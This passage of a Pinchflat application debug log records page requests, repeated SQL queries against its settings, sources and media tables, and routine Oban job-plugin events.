db=0.4ms queue=0.1ms idle=563.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.224 [debug] QUERY OK source="settings" db=0.3ms idle=211.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.225 [debug] QUERY OK source="settings" db=0.3ms idle=210.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.227 [debug] QUERY OK source="settings" db=0.4ms idle=211.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.228 [debug] QUERY OK source="settings" db=0.1ms idle=211.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.229 [info] Sent 200 in 6ms 05:35:02.463 [info] GET /media_profiles/2 05:35:02.464 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 05:35:02.465 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=239.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:02.466 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=240.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 05:35:02.468 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=240.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.469 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=240.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.470 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=30.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.475 [info] Sent 200 in 11ms 05:35:02.652 [info] GET /media_profiles/2/ 05:35:02.653 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 05:35:02.654 [debug] QUERY OK source="media_profiles" db=0.5ms idle=188.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:02.656 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=187.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 05:35:02.657 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=188.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.658 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=188.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.660 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=188.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:02.664 [info] Sent 200 in 11ms 05:35:03.102 [info] GET /media_profiles/2/edit 05:35:03.102 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 05:35:03.103 [debug] QUERY OK source="media_profiles" db=0.5ms idle=448.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:35:03.104 [debug] QUERY OK source="settings" db=0.4ms idle=448.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.105 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=447.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.106 [debug] QUERY OK source="settings" db=0.1ms idle=448.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.108 [info] Sent 200 in 6ms 05:35:03.398 [info] GET /media_profiles/1 05:35:03.398 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 05:35:03.400 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=739.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:35:03.401 [debug] QUERY OK source="sources" db=0.8ms idle=296.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 05:35:03.402 [debug] QUERY OK source="settings" db=0.4ms idle=297.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.403 [debug] QUERY OK source="settings" db=0.3ms idle=297.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.404 [debug] QUERY OK source="settings" db=0.1ms idle=297.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.405 [info] Sent 200 in 6ms 05:35:03.872 [info] GET /media_profiles/1/ 05:35:03.872 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 05:35:03.873 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=471.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:35:03.875 [debug] QUERY OK source="sources" db=0.8ms idle=471.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 05:35:03.876 [debug] QUERY OK source="settings" db=0.3ms idle=472.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.876 [debug] QUERY OK source="settings" db=0.1ms idle=472.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.877 [debug] QUERY OK source="settings" db=0.1ms idle=435.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:35:03.878 [info] Sent 200 in 6ms 05:35:04.502 [info] GET /download_logs 05:35:04.502 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 05:35:04.503 [info] Sent 200 in 1ms 05:35:05.910 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:35:35.913 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:00.965 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:36:05.916 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:35.919 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.966 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:37:04.771 [info] GET / 05:37:04.771 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:37:04.771 [debug] QUERY OK source="settings" db=0.2ms idle=1205.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:37:04.772 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1206.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:37:04.772 [debug] QUERY OK source="sources" db=0.1ms idle=1065.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:37:04.774 [debug] QUERY OK source="media_items" db=1.3ms idle=207.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:37:04.775 [debug] QUERY OK source="media_items" db=0.6ms idle=66.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:37:04.775 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:37:04.776 [debug] QUERY OK source="settings" db=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:37:04.777 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:37:04.779 [debug] QUERY OK source="tasks" db=0.4ms idle=4.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:37:04.781 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:37:04.782 [debug] QUERY OK source="media_items" db=0.9ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:37:04.783 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:37:04.790 [debug] QUERY OK source="media_items" db=1.3ms idle=11.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:37:04.791 [debug] QUERY OK source="media_items" db=1.5ms idle=10.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:37:04.792 [debug] QUERY OK source="sources" db=0.4ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:37:04.793 [info] Sent 200 in 22ms 05:37:05.922 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:35.925 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.967 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:38:05.928 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:35.931 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.967 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:39:05.934 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:35.936 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.969 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:40:05.939 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:23.273 [info] GET / 05:40:23.274 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:40:23.274 [debug] QUERY OK source="settings" db=0.4ms idle=1705.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:40:23.275 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1706.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:40:23.276 [debug] QUERY OK source="sources" db=0.2ms idle=1707.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:40:23.278 [debug] QUERY OK source="media_items" db=1.8ms idle=1136.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:40:23.279 [debug] QUERY OK source="media_items" db=0.8ms idle=136.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:40:23.279 [debug] QUERY OK source="settings" db=0.0ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:40:23.279 [debug] QUERY OK source="settings" db=0.0ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:40:23.280 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:40:23.281 [debug] QUERY OK source="tasks" db=0.1ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:40:23.281 [debug] QUERY OK source="media_items" db=0.4ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:40:23.282 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", 